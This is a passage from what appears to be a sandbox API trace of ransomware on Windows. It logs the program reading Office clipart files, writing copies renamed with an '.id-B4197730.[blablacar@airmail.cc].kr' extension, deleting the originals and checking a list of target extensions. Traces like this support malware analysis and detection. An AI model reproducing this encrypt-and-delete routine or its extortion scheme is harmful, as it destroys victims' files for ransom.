Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0193.159] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.159] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0193.159] GetLastError () returned 0x0 [0193.159] ReadFile (in: hFile=0x4d8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x43fe, lpOverlapped=0x0) returned 1 [0193.161] WriteFile (in: hFile=0x518, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x4400, lpOverlapped=0x0) returned 1 [0193.163] ReadFile (in: hFile=0x4d8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.163] WriteFile (in: hFile=0x518, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0193.163] SetEndOfFile (hFile=0x518) returned 1 [0193.163] CloseHandle (hObject=0x518) returned 1 [0193.163] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.163] SetEndOfFile (hFile=0x4d8) returned 1 [0193.166] CloseHandle (hObject=0x4d8) returned 1 [0193.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 1 [0193.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0193.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0193.167] lstrlenW (lpString=".doc") returned 4 [0193.167] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.167] lstrlenW (lpString=".docx") returned 5 [0193.168] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.168] lstrlenW (lpString=".pdf") returned 4 [0193.168] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.168] lstrlenW (lpString=".xls") returned 4 [0193.168] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.168] lstrlenW (lpString=".xlsx") returned 5 [0193.168] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.168] lstrlenW (lpString=".ppt") returned 4 [0193.168] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0193.168] lstrlenW (lpString=".zip") returned 4 [0193.168] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.168] lstrlenW (lpString=".rar") returned 4 [0193.168] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.168] lstrlenW (lpString=".bz2") returned 4 [0193.168] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.168] lstrlenW (lpString=".7z") returned 3 [0193.168] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0193.168] lstrlenW (lpString=".dbf") returned 4 [0193.168] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0193.168] lstrlenW (lpString=".1cd") returned 4 [0193.168] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0193.168] lstrlenW (lpString=".jpg") returned 4 [0193.169] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0193.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0193.169] lstrlenW (lpString=".doc") returned 4 [0193.169] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.169] lstrlenW (lpString=".docx") returned 5 [0193.169] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0193.169] lstrlenW (lpString=".pdf") returned 4 [0193.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.169] lstrlenW (lpString=".xls") returned 4 [0193.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.169] lstrlenW (lpString=".xlsx") returned 5 [0193.169] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0193.169] lstrlenW (lpString=".ppt") returned 4 [0193.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0193.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0193.169] lstrlenW (lpString=".zip") returned 4 [0193.169] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0193.169] lstrlenW (lpString=".rar") returned 4 [0193.169] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0193.169] lstrlenW (lpString=".bz2") returned 4 [0193.169] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0193.169] lstrlenW (lpString=".7z") returned 3 [0193.169] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0193.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0193.170] lstrlenW (lpString=".dbf") returned 4 [0193.170] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0193.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0193.170] lstrlenW (lpString=".1cd") returned 4 [0193.170] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0193.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF") returned 68 [0193.170] lstrlenW (lpString=".jpg") returned 4 [0193.170] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0193.170] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0193.170] lstrlenW (lpString="FD00543_.WMF") returned 12 [0193.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0193.171] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=1472) returned 1 [0193.171] CloseHandle (hObject=0x4d8) returned 1 [0193.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 0x220 [0193.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0193.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0193.171] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.171] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0193.172] GetLastError () returned 0x0 [0193.172] ReadFile (in: hFile=0x4d8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x5c0, lpOverlapped=0x0) returned 1 [0193.173] WriteFile (in: hFile=0x518, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x5d0, lpOverlapped=0x0) returned 1 [0193.175] ReadFile (in: hFile=0x4d8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0193.175] WriteFile (in: hFile=0x518, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0193.175] SetEndOfFile (hFile=0x518) returned 1 [0193.175] CloseHandle (hObject=0x518) returned 1 [0193.175] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0193.175] SetEndOfFile (hFile=0x4d8) returned 1 [0193.178] CloseHandle (hObject=0x4d8) returned 1 [0193.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0193.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00543_.wmf")) returned 1 [0194.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0194.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0194.008] lstrlenW (lpString=".doc") returned 4 [0194.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.008] lstrlenW (lpString=".docx") returned 5 [0194.008] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.008] lstrlenW (lpString=".pdf") returned 4 [0194.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.008] lstrlenW (lpString=".xls") returned 4 [0194.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.008] lstrlenW (lpString=".xlsx") returned 5 [0194.008] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.008] lstrlenW (lpString=".ppt") returned 4 [0194.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0194.008] lstrlenW (lpString=".zip") returned 4 [0194.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.008] lstrlenW (lpString=".rar") returned 4 [0194.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.008] lstrlenW (lpString=".bz2") returned 4 [0194.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.008] lstrlenW (lpString=".7z") returned 3 [0194.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0194.008] lstrlenW (lpString=".dbf") returned 4 [0194.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0194.008] lstrlenW (lpString=".1cd") returned 4 [0194.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0194.008] lstrlenW (lpString=".jpg") returned 4 [0194.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0194.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0194.009] lstrlenW (lpString=".doc") returned 4 [0194.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.009] lstrlenW (lpString=".docx") returned 5 [0194.009] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.009] lstrlenW (lpString=".pdf") returned 4 [0194.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.009] lstrlenW (lpString=".xls") returned 4 [0194.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.009] lstrlenW (lpString=".xlsx") returned 5 [0194.009] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.009] lstrlenW (lpString=".ppt") returned 4 [0194.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0194.009] lstrlenW (lpString=".zip") returned 4 [0194.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.009] lstrlenW (lpString=".rar") returned 4 [0194.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.009] lstrlenW (lpString=".bz2") returned 4 [0194.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.009] lstrlenW (lpString=".7z") returned 3 [0194.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0194.009] lstrlenW (lpString=".dbf") returned 4 [0194.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0194.010] lstrlenW (lpString=".1cd") returned 4 [0194.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00543_.WMF") returned 68 [0194.010] lstrlenW (lpString=".jpg") returned 4 [0194.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.010] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.010] lstrlenW (lpString="FD01176_.WMF") returned 12 [0194.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0194.011] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=4984) returned 1 [0194.011] CloseHandle (hObject=0x53c) returned 1 [0194.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x220 [0194.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0194.011] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.011] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0194.012] GetLastError () returned 0x0 [0194.012] ReadFile (in: hFile=0x53c, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x1378, lpOverlapped=0x0) returned 1 [0194.014] WriteFile (in: hFile=0x378, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1380, lpOverlapped=0x0) returned 1 [0194.015] ReadFile (in: hFile=0x53c, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.015] WriteFile (in: hFile=0x378, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.015] SetEndOfFile (hFile=0x378) returned 1 [0194.015] CloseHandle (hObject=0x378) returned 1 [0194.015] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.015] SetEndOfFile (hFile=0x53c) returned 1 [0194.019] CloseHandle (hObject=0x53c) returned 1 [0194.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.020] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 1 [0194.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0194.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0194.020] lstrlenW (lpString=".doc") returned 4 [0194.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.020] lstrlenW (lpString=".docx") returned 5 [0194.020] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.020] lstrlenW (lpString=".pdf") returned 4 [0194.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.020] lstrlenW (lpString=".xls") returned 4 [0194.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.020] lstrlenW (lpString=".xlsx") returned 5 [0194.021] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.021] lstrlenW (lpString=".ppt") returned 4 [0194.021] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0194.021] lstrlenW (lpString=".zip") returned 4 [0194.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.021] lstrlenW (lpString=".rar") returned 4 [0194.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.021] lstrlenW (lpString=".bz2") returned 4 [0194.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.021] lstrlenW (lpString=".7z") returned 3 [0194.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0194.021] lstrlenW (lpString=".dbf") returned 4 [0194.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0194.021] lstrlenW (lpString=".1cd") returned 4 [0194.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0194.021] lstrlenW (lpString=".jpg") returned 4 [0194.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0194.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0194.021] lstrlenW (lpString=".doc") returned 4 [0194.021] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.021] lstrlenW (lpString=".docx") returned 5 [0194.021] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.021] lstrlenW (lpString=".pdf") returned 4 [0194.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.021] lstrlenW (lpString=".xls") returned 4 [0194.022] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.022] lstrlenW (lpString=".xlsx") returned 5 [0194.022] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.022] lstrlenW (lpString=".ppt") returned 4 [0194.022] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0194.022] lstrlenW (lpString=".zip") returned 4 [0194.022] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.022] lstrlenW (lpString=".rar") returned 4 [0194.022] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.022] lstrlenW (lpString=".bz2") returned 4 [0194.022] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.022] lstrlenW (lpString=".7z") returned 3 [0194.022] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0194.022] lstrlenW (lpString=".dbf") returned 4 [0194.022] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0194.022] lstrlenW (lpString=".1cd") returned 4 [0194.022] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68 [0194.022] lstrlenW (lpString=".jpg") returned 4 [0194.022] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.022] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.023] lstrlenW (lpString="FD01191_.WMF") returned 12 [0194.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0194.023] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=3964) returned 1 [0194.023] CloseHandle (hObject=0x53c) returned 1 [0194.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x220 [0194.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), 